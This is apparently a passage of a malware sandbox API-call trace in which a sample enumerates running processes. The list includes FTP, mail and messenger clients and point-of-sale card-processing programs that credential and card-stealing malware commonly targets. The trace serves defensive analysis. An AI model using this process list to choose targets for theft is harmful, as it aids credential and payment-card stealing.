	[0078.268] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0078.268] lstrlenW (lpString="SearchUI.exe") returned 12
	[0078.268] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0078.269] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0078.269] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0078.269] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0078.269] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0078.270] lstrlenW (lpString="pending.exe") returned 11
	[0078.270] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0078.279] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0078.279] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0078.279] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0078.279] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0078.280] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0078.280] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0078.280] lstrlenW (lpString="search.exe") returned 10
	[0078.280] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0078.281] lstrlenW (lpString="compatibility.exe") returned 17
	[0078.281] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0078.281] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0078.282] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0078.282] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0078.282] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0078.283] lstrlenW (lpString="try.exe") returned 7
	[0078.283] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0078.283] lstrlenW (lpString="consultancy.exe") returned 15
	[0078.283] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0078.284] lstrlenW (lpString="especially.exe") returned 14
	[0078.284] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0078.284] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0078.284] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0078.285] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0078.285] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0078.285] lstrlenW (lpString="modules.exe") returned 11
	[0078.285] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0078.560] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0078.560] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0078.594] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0078.594] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0078.595] lstrlenW (lpString="3dftp.exe") returned 9
	[0078.595] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0078.595] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0078.595] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0078.596] lstrlenW (lpString="alftp.exe") returned 9
	[0078.596] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0078.597] lstrlenW (lpString="barca.exe") returned 9
	[0078.597] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0078.598] lstrlenW (lpString="bitkinex.exe") returned 12
	[0078.598] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0078.599] lstrlenW (lpString="coreftp.exe") returned 11
	[0078.599] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0078.600] lstrlenW (lpString="far.exe") returned 7
	[0078.600] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0078.601] lstrlenW (lpString="filezilla.exe") returned 13
	[0078.601] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0078.602] lstrlenW (lpString="flashfxp.exe") returned 12
	[0078.602] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0078.603] lstrlenW (lpString="fling.exe") returned 9
	[0078.603] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0078.604] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0078.604] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0078.605] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0078.605] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0078.606] lstrlenW (lpString="icq.exe") returned 7
	[0078.606] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0078.606] lstrlenW (lpString="leechftp.exe") returned 12
	[0078.606] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0078.607] lstrlenW (lpString="ncftp.exe") returned 9
	[0078.607] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0078.608] lstrlenW (lpString="notepad.exe") returned 11
	[0078.608] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0078.609] lstrlenW (lpString="operamail.exe") returned 13
	[0078.609] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0078.610] lstrlenW (lpString="pidgin.exe") returned 10
	[0078.610] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0078.611] lstrlenW (lpString="scriptftp.exe") returned 13
	[0078.611] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0078.612] lstrlenW (lpString="skype.exe") returned 9
	[0078.612] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0078.613] lstrlenW (lpString="smartftp.exe") returned 12
	[0078.613] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0078.614] lstrlenW (lpString="thunderbird.exe") returned 15
	[0078.614] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0078.615] lstrlenW (lpString="totalcmd.exe") returned 12
	[0078.615] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0078.616] lstrlenW (lpString="trillian.exe") returned 12
	[0078.616] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0078.617] lstrlenW (lpString="webdrive.exe") returned 12
	[0078.617] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0078.618] lstrlenW (lpString="whatsapp.exe") returned 12
	[0078.618] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0078.619] lstrlenW (lpString="winscp.exe") returned 10
	[0078.619] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0078.619] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0078.620] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0078.620] lstrlenW (lpString="active-charge.exe") returned 17
	[0078.620] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0078.621] lstrlenW (lpString="accupos.exe") returned 11
	[0078.621] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0078.622] lstrlenW (lpString="afr38.exe") returned 9
	[0078.622] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0078.623] lstrlenW (lpString="aldelo.exe") returned 10
	[0078.623] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0078.624] lstrlenW (lpString="ccv_server.exe") returned 14
	[0078.624] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0078.624] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0078.624] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0078.625] lstrlenW (lpString="creditservice.exe") returned 17
	[0078.625] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0078.626] lstrlenW (lpString="edcsvr.exe") returned 10
	[0078.626] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0078.627] lstrlenW (lpString="fpos.exe") returned 8
	[0078.627] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0078.628] lstrlenW (lpString="isspos.exe") returned 10
	[0078.628] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0078.628] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0078.628] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0078.629] lstrlenW (lpString="omnipos.exe") returned 11
	[0078.629] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0079.092] lstrlenW (lpString="spcwin.exe") returned 10
	[0079.092] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0079.093] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0079.093] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0079.093] lstrlenW (lpString="utg2.exe") returned 8
	[0079.093] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0079.094] lstrlenW (lpString="explicit.exe") returned 12
	[0079.094] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0079.095] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0079.095] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0079.095] lstrlenW (lpString="taskhostw.exe") returned 13
	[0079.095] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0079.096] lstrlenW (lpString="UsoClient.exe") returned 13
	[0079.096] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0079.097] lstrlenW (lpString="taskhostw.exe") returned 13
	[0079.097] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0079.097] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0079.097] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0079.098] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0079.098] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.100] lstrlenW (lpString="conhost.exe") returned 11
